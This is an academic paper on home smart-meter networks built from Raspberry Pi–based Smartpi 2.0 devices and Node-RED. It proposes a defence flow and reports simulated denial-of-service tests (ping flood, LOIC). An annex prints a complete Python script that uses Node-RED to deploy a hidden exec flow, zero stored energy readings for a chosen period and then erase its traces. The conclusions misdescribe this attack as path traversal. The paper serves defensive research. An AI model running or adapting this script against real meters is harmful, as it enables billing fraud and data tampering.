1. Introduction
The interconnection of devices in electricity networks to support the exchange of data has become an essential aspect that electricity companies need to face. On the one hand, because it will enhance the self-knowledge of the infrastructure by a constant monitoring of data. On the other hand, because national and European regulations have strongly encouraged companies to update their systems to improve the efficiency of the energy consumption. This new infrastructure, usually known as Smart Grid, combines advances in both electric engineering and information and communication technology. Smart Grid leads to a more unified and simplified system for control, maintenance and management of the electricity grid, including generation, transmission, distribution, storage and trade. This new philosophy takes into account an important aspect in energy production. The growing popularity of photovoltaic facilities and other energy systems has increased the number and variety of energy producers: customers cannot be considered as just consumers anymore, but also producers. This would entail a more efficient delivering of energy, by reducing costs and harmful emissions. Besides, the advantages of energy real-time readings are twofold: for consumers and for energy companies. On the one hand, consumers would be aware of their energy consumption, allowing them to adopt new consumption strategies. On the other hand, energy companies would infer consumption patterns and predict needs and potential peaks of activity to stablish appropriate energy plans and the best fees.
In this context, smart meters can be considered one of the key elements in the Smart Grid since (i) they allow measuring energy consumption in much more detail than a conventional meter (fine-grained accurate readings) and (ii) they can communicate this information back to the provider and also to other devices or applications in the so-called smart home. A good overview of the smart meters evolution is provided in [
1], by detailing their functionalities, applications and related technologies as well as the different solutions for these devices that connect the Home Area Network (HAN) to the Neighbourhood Area Network (NAN). Generally speaking, this Advance Metering Infrastructure (AMI) is composed of smart meters, concentrators or collectors and the Meter Data Management System (MDMS). Smart meters also store relevant information, such as keys and passwords used for secure communication and privilege levels. The MDMS is basically a database which stores the huge amount of data and events linked to smart meters and concentrators, ready to be analyzed. AMI also supports communication between the energy provider and the smart meters, so they can react to remote orders, consequence of the energy readings. Due to the sensitive exchanged information, AMI has entailed a growing concern about privacy implications [
2]. For instance, some studies have demonstrated the potential for power consumption patterns to reveal detailed information about householders (number of family members at home, sleeping routines, eating routines, etc.) [
3,
4]. With the aim of trying to minimize these problems, other approaches have emerged to review the different uses of metering data and the related privacy legislation [
5] to suggests options like anonymizing the data [
6] or reducing the amount of data requested for some applications [
7].
However, privacy is not the only concern. In this promising scenario, a new threat arises: like any other device connected to a network, the electric devices in the smart grid are also vulnerable to attacks (altering readings, stealing data, etc.) [
8]. Smart grids are considered critical infrastructures and, consequently, preventing attacks is considered as a high priority. In fact, in April 2019, the European Commission published the Recommendation 2019/553 [
9] with respect to information security applied to the energy sector. Being aware of the high interconnection of energy power systems, this recommendation exhorts working in developing new strategies to avoid malicious attacks that could cause severe consequences. It is, therefore, essential to ensure that every device connected to the Smart Grid is properly secured [
10]. Consequently, Information Security Management systems (ISMS) become essential. ISMSs [
11] implement a set of measures aimed at preventing access to information and minimising the damage caused to that information in the event of fraudulent access. Thus, ISMSs work to provide the three pillars of security, know as CIA: Confidentiality, Integrity and Availability. Confidentiality ensures that information is accessed only by an authorised person. Integrity ensures that information is not inappropriately modified, so the information is true to its original state (excluding, authorised modifications, that must be registered). Availability ensures that the information carrier guarantees access to the data whenever an authorized user may wish. Additionally, Smart Grid would also adhere to the requirement of non-repudiation or accountability, which means that an action (communication, exchange of data, reading, etc.) cannot be denied [
12]. In most cases, ISMSs are based on the strategy known as PDCA cycle (It is also known as the continuous improvement spiral, or the Deming cycle, due to its creator, the American William Edwards Deming) [
13]: a four-stage cyclical base (Plan, Do, Check and Act) that leads to a continuous improvement of the management of the information that was standardised in the ISO 27000 series [
14]. More specifically, plan stage establishes a series of actions required to deliver the desired results; the do stage allows the decisions taken in the previous step to be implemented, sometimes pilot testing are used to verify their effects; in the check stage, the results of the implementation are monitored and compared with the initial objectives to see to which extent they have been attained; finally, in the act stage results and the objectives are analyzed, suggestions are gathered and issues are detected in order to improve the process.
Within this scenario, some approaches have arisen with the aim of providing mechanisms able to support a more secure context for the Smart Grid and to prevent unauthorized access to this sensitive information. In fact, one of the main changes in the Smart Grid is the bidirectional flow of information, so the information goes from smart meters to the power operator and vice versa. Thus, new communications schemes are needed to support the transmission of energy readings in short time intervals, taking into account the constrained resources of the metering devices and the aforementioned security aspects. Authentication, then, plays an important role in the smart grid domain by providing a variety of security services including credentials’ privacy, session-key (SK) security, and secure mutual authentication.
Encryption is the primary security measure and, recently, the Security as a Service (SECaaS) model has introduced different cloud-based solutions for Encryption as a Service (EaaS). One of them is ES4AM [
15], that offers good expectations in terms of speed and cost-effectiveness of cloud computing. However, it is necessary to remark that cloud-based solutions also face important challenges [
16], such as the possibility of private data to be tampered with between the sensor and the encryption of the data. Anyway, cryptographic solutions need an adequate key management that can also be used as a defensive mechanism against threats [
17]. In the literature, there are several proposals in this line, and [
18] provides a survey about the most relevant approaches for Key Management System (KMS) in the Smart Grid. Some of the most remarkable ones are VerSAMI [
19], based on multi-group key graph structure, or [
20] created for mutual authentication that supports a more frequent key refreshing because of the savings in resource consumption. Elliptic Curve Cryptosystem (ECC) constitutes an efficient technique for authentication based on short key lengths and reduced storages, so it has been the base for some initiatives like the Lightweight and Secure Authentication (LiSA) protocol [
21], which was conceived to support mutual authentication for the Smart Metering Infrastructure (SMI) based on a third (trusted) party that acts as a broker between the smart home and the service provider. However, some studies claim that ECC usually requires high communicational and computational costs. Consequently, several proposals in the literature try to overcome these drawbacks. In [
22], a new scheme is defined based on the communication between two entities, the smart meter and the NAN gateway, for mutual authentication and key agreement based on ECC, but reducing the communicational overheads, which entails an efficient solution (computation and energy) for light computation devices in the Smart Grid. The same aim of reducing over cost is behind other approaches, like in [
23], where it is proposed a lightweight scheme that combines ECC, symmetric encryption, hash functions and message authentication codes; in [
24], where a light scheme is proposed for communication between costumers and substations, or in [
25], where an identity-based key establishment protocol ECC-based is defined.
Other approaches for KMSs are based on a Physically Unclonable Function (PUF), although there are not so many proposals in the specialized literature. One of them is [
26], where PUFs are used for generating the commitments and random numbers needed for the authentication protocol. Finally, other researchers opt for hybrid approaches, that combined symmetric and asymmetric encryption systems, like in [
27]. In this case, the proposed solution takes into account the special characteristics of the devices in AMI and it designs a lightweight key management based on the Advanced Encryption Standard (AES) [
28] for the data encapsulation and the ECC for the key encapsulation cryptosystem. Mutual authentication is not the only aspect to analyze for security in Smart Grids, session-key security is another relevant aspect. In [
29] the authors propose a new secure authenticated key distribution scheme that works under the CK-adversary model [
30], a formal method to design and analyze of key agreement protocols to ensure, desirable security attributes. In [
31] a scheme is proposed to guarantee secure communications between the smart meter and the NAN gateway based on the Diffie–Hellman shared key generation that is able to support less than one-minute time interval of usage reports transmission, since the execution of the proposed protocol needs almost 15 milliseconds. Another advantage of this proposal is that the NAN gateway can manage several smart meters using the same hardware.
Collectors are other critical elements in the Smart Grid and are the focus of the proposal in [
32]. The authors model the misbehavior of hacked collectors and, additionally, define a new privacy-preserving smart metering scheme, coined P
SM, to support end-to-end security and high communication efficiency. Thus, this system prevents misbehaving collectors from corrupting energy readings and preserve privacy and security in communications. Encrypted data also entails other collateral problems, like the one faced in [
33]: unusual energy readings caused by electricity theft, cannot be discovered because of the encrypted data based on homomorphic techniques in many smart meters. In fact, their proposal ensures the measurements are in the acceptable range, without disclosing the exact energy readings. Finally, one of the most dangerous problems that could affect Smart Grids is an attack that traverses the AMI (like a worm) and affects a huge amount of smart meters. In [
34] the authors introduce a security analysis of an AMI with more than one million smart meters and more than 100 data collectors and two different data management systems. The analysis was done trying to focus on the common aspects of AMIs in order to be useful for any other specific deployment. The analysis shows the value of systematic identification of each target and the importance of the data collector, as a critical element because of its impact.
Although there are substantial differences among policy contexts and market penetrations across countries [
35], currently, any user has the possibility to buy and plug-and-play smart meters, additionally to those installed by the energy providers. Under this scenario, final users may create their own network connecting these devices in order to directly monitor the energy consumption at their home. This option, which is progressively becoming more popular [
36], inherently entails security risks since these devices are not under the responsibility of any energy operator, but under the responsibility of the final user. In this paper, we focus on an open solution based on the Smartpi 2.0 device [
37]. This is a Raspberry Pi with a module that enables it to work with a smart meter and measure voltages, currents and powers. This device can be directly connected to other Raspberries and act as an access point, so no other elements—e.g., routers—will be needed for the devices to communicate with one another.
Our contribution is two-fold. On the one hand, we propose an infrastructure based on Smartpi 2.0 devices and a protocol to exchange data (energy readings) in the home. These devices collaborative work to prevent external attacks and attempts of corrupting the data. With this aim, we have defined different data flows using the open-source software provided with these devices (Node-RED [
38]). On the other hand, we have checked the vulnerability of this kind of solution by simulating two specific software attacks that cover the three pillars of the CIA. The first attack aims to infringe the third pillar (Availability), by a Denial of Service (DoS). It will disrupt the activity of the meters by reducing or overriding the reading function or the transmission of data. The second attack aims to infringe the two first pillars of CIA (Confidentiality and Integrity): (i) Integrity is affected by using a malware that will change the way the devices are programmed and will set to zero the values of the readings (which are stored in a database) during a specific time slot; and (ii) Confidentiality is affected if we share these readings to a third non-authorized party. This emulates an attempt to defraud the electricity company by faking a lower consumption.
This paper is organized as follows.
Section 2 describes the materials and the procedures that we have used in our approach. More specifically, we firstly describe the devices we have used for our proof of concept (hardware and software) and the different data flows designed to support the exchange of energy readings within the domestic network and to prevent integrity attacks. In
Section 3 we define the procedure for testing the solution and detail the results of the two types of attacks. We also include some solutions for their detection. Finally,
Section 4 summarizes the conclusions and future work.
3. Testing the Solution and Results
Testing in IoT networks usually covers the following aspects [
50]. First, probing attacks for information gathering, which try to collect information illegitimately from remote systems through scanning or fingerprinting. Second, Denial of Service (DoS) and Distributed Denial of Service (DDoS), which try to overwhelm the resources with illegitimate requests. These attacks are based on TCP, UDP and HTTP protocols. Finally, information theft to get confidential or sensitive data.
In order to test the infrastructure and the collaborative communication scheme, we have selected two of the most frequent attacks: DoS, which tries to infringe the third pillar of the CIA (Availability); and the False Data Injection using malware to infringe the other two pillars of CIA (Confidentiality and Integrity).
3.1. Denial of Service (DoS) Attack
The attack would aim at undermining the proper functioning of the electricity metering service at home by simultaneously attacking the smart meters. In fact, and since all the devices at home cooperate in the defence flow, when they are attacked, their communications are eventually interrupted, preventing the measurement system (composed of all the smart systems at home) to work properly and store the right readings.
The first step will be to study the effects of such an attack. Three different methods will be used for the attacks depending on the device. The Raspberries will use the Linux
ping command with a timeout of thirty seconds in flood mode (option
-f), which generates hundreds of packets every second. Besides, the laptop (
Figure 1) will use the software LOIC (Low Orbit Ion Cannon, version 1.0.8.0), a Windows program used to stress-test the devices in case of a denial of service attack. This software allows us to set essentially four parameters:
Target: defined by an IP or URL address and a port.
Protocol: the method of attack can be TCP, UDP or HTTP.
Threads: the number of threads that will be requesting information simultaneously in the attack.
Speed: the number of packets sent every second through each thread cannot be configured numerically, but it can be adjusted graphically.
There will be four different studies of the state of the Smartpi 2.0, because this will be the target where the response to the denial of service attack will be analyzed. The laptop will be used at full power in all of them, attacking port 18800 (opened by Node-RED for the operation of the network). The maximum number of threads allowed to be executed concurrently in the laptop to generate the packets to the maximum speed possible is 80,000. The same computer will measure the response time of the Smartpi 2.0 using pings, as well as the packet loss ratio. The Smartpi 2.0 will monitor the CPU average load with the command top. The computer will be the only attacker when performing these measurements, but one, two or three Raspberries will also execute the ping command to flood the target.
Consequently, the DoS attack has been carried out taking into account four different scenarios: one, two, three or four attackers. The first aspect we have analyzed is the ping response time, which is depicted in
Figure 8 (timeouts are displayed as zeros). When the Smartpi 2.0 is not under attack, the response time is 4 ms, on average.
The other aspect we have analysed is the fraction of discarded packets due to congestion and the state of the CPU of the target, which are detailed in
Table 2.
Our experiment shows that most of the workload in the attack is carried by the computer and the effect of the Raspberries in the CPU usage of the target is lower. However, the attack of the Raspberries contributes significantly to the overload in the buffer, which in turn leads to a considerable increase in the response time of the packets and the packet loss. In the worst-case scenario, the target cannot work properly: as the buffer is full, it cannot communicate with the rest of the nodes of the network, this jeopardizes the reception of the readings and the defense against any alteration in the database. A higher number of attackers or an attack organized with more resources would arguably lead to the crash of the target node, since it would overflow its maximum processing capacity. It is worth noting that, in the last attack scenario -where the CPU of the target is working at full capacity- the device cannot be accessed via SSH or the Node-RED web interface, due to the combination of the excessive workload and the overflown buffer. As a consequence, the availability of the service is jeopardized.
3.2. Malware Attack
The software provided with the Smartpi 2.0 offers the functionality of checking and displaying the energy readings using a web service. This web services, behind Node-RED, is protected against fake HTTP requests that try to access to non-accessible resources. However, since it is based on Node-RED, we have checked an alternative way to implement this attack, by creating fake flows that access the database and set the energy readings to a different value (zero in our case). We have opted to do a directory traversal or path traversal attack. This attack consists of fake HTTP requests that seek access to a resource that would normally be non-accessible. With an HTTP GET, for example, a file located in another folder in the system could be requested using the string “../” that allows navigating up one directory. They usually require the modification of a cookie or a parameter included in the request. Therefore, the existence of these security holes depends on how the server is programmed. The server behind Node-RED is protected against this kind of attack. In this case, an error HTTP 403 Forbidden reading you do not have permission to access other directories is returned. Even if the smart meter would not host a web server, an attacker can develop malware and spread it to infect smart meters by replacing or adding functionality, like the one considered in our scenario. Malware spreading may use a conventional Mand-in-the-Middle attack to the TCP/IP connection to breach the communication with the smart meter.
The attack in our experiment exploits the vulnerability in Node-RED that allows the attacker to take control of the system through a terminal [
38]. It was developed in Python and the full script is available in Annexe 5.
The script has two invocation parameters,
–start_date and
–end_date, in
yyyy-mm-dd hh:mm:ss format, specifying the time period when the consumption is set to zero. Firstly, the flows are already arranged in a JSON array where every object includes the characteristics defining the node it represents: name, type, parameters, location, connections, etc. Then the fake flow (
Figure 9) is added to the first one and both flows are deployed together; because if the fake one were to be deployed on its own, the system would stop performing its original function. It will also serve as a backup to later restore the original flow without any trace of the attack. A sequence of nodes is then added to be able to modify the database.
After that, the input node executes the flow. Then the exec node executes the commands of the terminal server through Node-RED. In this node, an instruction invokes a MongoDB instance and executes an update operation that sets the consumption values within the time range indicated with –start_date and –end_date to zero. Finally, a debug node is introduced. Its output will be displayed in the attackers terminal, and so will any error during the attack to the database.
Once the flow is configured, it is deployed with the original one and the input node is activated. This way, the command indicated in the exec node is executed and the output generated by the execution of the mongo command is displayed. Once the process is over, only the original flow is configured and the script ends.
MongoDB does not generate any confirmation messages for modifications in the database or no matches with the search criteria. The only message displayed will be the confirmation of the connection with the database, unless there is an error such as the incorrect syntax of an update instruction. Although only the modification of the database is relevant for this project, this vulnerability in Node-RED enables the execution of any command. The script can be modified easily to check if the values have been altered, for example.
Table 3a shows an example of normal values in a database, with expected pairs
(time, value) are found. After the attack script is executed, through the command
attack.py –start_date=“2019-06-30 18:00:15” –end_date=“2019-06-30 18:00:30”, the database will be modify as shown in
Table 3b. The values are modified as expected: the readings within the specified time are set to zero and the rest of them stay the same. However, in less than a minute the defense flow would be executed, it would detect the anomaly and activate itself restoring the database to its original state. If the defense is properly activated, the attack is stopped and no trace is left. Conversely, if the database of most of the nodes is altered, the algorithm would consider the value as correct and it would keep it in the database; this would jeopardize the confidentiality and integrity of the data.
4. Conclusions
Smart meters are one of the most basic elements in the Smart Grid, but they are essential for this new infrastructure. Smart meters support detailed and very frequent energy readings, data that communicate to other elements in the provider network, or to other elements within our home. They are, probably, the most numerous devices in the Smart Grid, so privacy and security concerns must be seriously analyzed in order to protect this critical infrastructure. Currently, any user concerned about energy consumption has the possibility of creating their own network of smart meters, based on open solutions, in order to directly obtain the energy readings without any broker (as the energy provider). These devices are additionally installed to the ones provided by the energy operators and are becoming more and more popular. However, they entail security risks that are now under the responsibility of the householders, who must be aware of that.
In this paper, we focus on analyzing a domestic solution based on a Smartpi 2.0 devices, a Raspberry with a module that enables it to work as a smart meter and measure voltages, currents and powers. These devices can be easily installed at home in order to monitor energy consumption and to send this information to other applications or devices at home. Firstly, we propose an infrastructure using these devices and a protocol to exchange the energy readings within the domestic network. The devices collaborative work to prevent external attacks or attempts to corrupt the data. With this aim, we have defined different data flows using the open-source software provided with these devices (Node-RED). Secondly, we analyze some vulnerabilities in this infrastructure. More specifically, we emulated two kind of attacks: (i) denial of service (DoS), that infringes availability (one of the three pillars of security); and (ii) using malware to modify the readings, that infringes confidentiality and integrity (the other two pillars of security).
The DoS attack was carried out by including a different number of attackers, and checking the response time and the fraction of discarded packets due to congestion and the state of the CPU of the target device. This attack cannot be detected automatically and it leaves no direct trace. However, a DoS attack can be suspected as a possible cause because the systems work properly on their own but errors appear when they communicate with each other. An attempt to access the system during the attack would lead to the same conclusion because in extreme cases the system cannot be accessed. One way to detect a DoS attack could be to keep a register of the incoming connections of the device.
Using malware to modify the energy readings was carried out by using fake HTTP requests to access a resource that would normally be non-accessible. With this strategy, we have to change the database content. Choosing the right software is of the utmost importance for the implementation of the product. In this specific case, a vulnerability of the Node-RED software used for these devices has allowed unauthorized access. However, it is to be expected that this development environment becomes more stable and secure over time. In our analysis, we have provided a defense flow, as a measure to detect and correct this kind of attack. However, and in case of a massive attack where not only a device, but the majority of its neighbors are being attacked as well, it might be almost undetectable. Only a detailed analysis of the databases can give us the evidence: outlier values in energy consumption without any other explanation.
The results show, as expected, a clear vulnerability of domestic amateur solutions to manage energy readings at home when exposed to the Internet. It is therefore essential to establish security controls to protect them, due to their short maintenance cycle, the number of devices and the variety of models. Anyway, there are some strategies that can be easily adopted, like (i) to add specific software to protect the communications, such as cryptography and key management modules [
51] and (ii) to include peer-to-peer monitoring to collaboratively detect anomalies in the number of incoming connections and anomalies in energy readings.
We are currently working on two supplement research lines. On the one hand, we are working on improving our approach for anomaly detection locally done by each smart metering [
49]. Our approach is based on a time series analysis of periodic energy readings. On the other hand, we are also working on adding other attacks to our analysis of the vulnerabilities of this kind of domestic solution. More specifically, we will include probing attacks, DDoS and information theft to supplement the two vectors analyzed in this paper. With this aim, we will adapt the data flow in our infrastructure to add traffic information of the BoT-IoT databased in [
50]. Finally, we expect to work on defining appropriate encryption schemes to ensure the communications among the devices within the household, to supplement the collaborative protocol described in this paper.
5. Malware Code
#!/usr/bin/env∼python3
import argparse
import asyncio
import json
import random
import string
import sys
import requests
import∼websockets
EXEC_FLOW = [
{
“id”:“test”,
“type”:“tab”,
“label”:“test”,
“disabled”:False,
“info”:“”
},
{
“id”:“start”,
“type”:“inject”,
“z”:“test”,
“name”:“”,
“topic”:“”,
“payload”:“”,
“payloadType”:“date”,
“repeat”:“”,
“crontab”:“”,
“once”:False,
“onceDelay”:0.1,
“x”:214,
“y”:307,
“wires”:[
[
“terminal”
]
]
},
{
“id”:“terminal”,
“type”:“exec”,
“z”:“test”,
“command”:“”,
“addpay”:False,
“append”:“”,
“useSpawn”:“False”,
“timer”:“”,
“oldrc”:False,
“name”:“”,
“x”:411,
“y”:318.5,
“wires”:[
[
“output”
],
[
“output”
]
]
},
{
“id”:“output”,
“type”:“debug”,
“z”:“test”,
“name”:“”,
“active”:True,
“tosidebar”:True,
“console”:False,
“tostatus”:False,
“complete”:“false”,
“x”:618,
“y”:315,
“wires”:[]
}
]
async def exploit(access_token, start_date, end_date):
ws_url = URL.replace(“http”, “ws”)
headers = {“Node-RED-API-Version”: “v2”}
headers[“Authorization”] = “Bearer⎵{}”.format(access_token)
async with websockets.connect(“{}/comms”.format(ws_url)) as websocket:
await websocket.send(json.dumps({“auth”:access_token}))
while True:
response = await websocket.recv()
message = json.loads(response)
if “auth” in message and message[“auth”] == “ok”:
print(”:)⎵Entered⎵Node-RED.”)
break
await websocket.send(json.dumps({“subscribe”:“debug”}))
try:
print(“-->⎵Getting⎵deployed⎵flows...”)
current_flows = {“flows”:[]}
resp = requests.get(“{}/flows”.format(URL),
headers=headers)
if “flows" in resp.json():
current_flows[“flows”] = resp.json()[“flows”]
print(“-->⎵Merging⎵flows...”)
merged = {}
for item in current_flows[“flows”]+EXEC_FLOW:
if item[“id”] not in merged:
merged[item[“id”]] = item
payload = {“flows”:val for (_, val) in merged.items()}
for flow in payload[“flows”]:
if flow[“id”] == “terminal”:
flow[“command”] = “”“mongo
\“localhost:27017/smartpi\“ --eval ’db.getCollection(’1’).update(
{“time”:{$gte:\“”“”⎵+⎵start_date⎵+⎵“”“\“,$lt:\“”“” + end_date + “”“\“}},
{$set:{“value”:0}}, {multi: true} )’“”“
print(“-->⎵Deploying⎵modified⎵flow...”)
resp = requests.post(
“{}/flows”.format(URL),
json=payload,
headers=headers
)
print(”:)⎵Flow⎵deployed.”)
print(“-->⎵Injecting⎵start⎵and⎵receveing⎵output...”)
resp = requests.post(“{}/inject/{}”.format(URL, “start”),
headers=headers)
output = None
while output is None:
response = await websocket.recv()
messages = json.loads(response)
for message in messages:
if “topic” in message and message[“topic”]
== “debug”:
output = message[“data”][“msg”]
.strip()
break
print(output)
payload = {“flows”:[]}
for current_block in current_flows[“flows”]:
tainted = False
for block in EXEC_FLOW:
if block[“id”] == current_block[“id”]:
tainted = True
if not tainted:
payload[“flows”].append(current_block)
print(“-->⎵Re-deploying⎵the⎵original⎵flow...”)
resp = requests.post(
“{}/flows”.format(URL),
json=payload,
headers=headers
)
if resp.status_code == 200:
print(”:)⎵Original⎵flow⎵redeployed.”)
else:
print(“!!⎵ERROR:⎵Something⎵happened⎵while
re-deploying⎵the⎵original⎵flow.”)
finally:
print(“-->⎵End⎵of⎵the⎵attack.”)
websocket.close()
if __name__ == “__main__”:
parser = argparse.ArgumentParser(description=\
“Remote⎵Command⎵Execution⎵on⎵Node-RED.”)
parser.add_argument(’--start_date’, type=str,
help=“Start⎵date⎵to⎵set⎵to⎵zero”)
parser.add_argument(’--end_date’, type=str,
help=“End⎵date⎵to⎵set⎵to⎵zero”)
args = parser.parse_args()
data = {
“client_id”:“node-red-editor”,
“grant_type”:“password”,
“scope”:“”,
“username”:USERNAME,
“password”:PASSWORD
}
print(“-->⎵Accessing⎵Node-RED...”)
response = requests.post(“{}/auth/token”.format(URL),
data=data, verify=False)
if response.status_code == 200:
print(”:)⎵Access⎵granted.”)
access_token = response.json()[“access_token”]
else:
print(“!!⎵ERROR:⎵Couldn’t⎵access⎵Node-RED.⎵Aborting...”)
sys.exit()
print(“-->⎵Starting⎵attack...”)
asyncio.get_event_loop().run_until_complete(
exploit(access_token, args.start_date, args.end_date))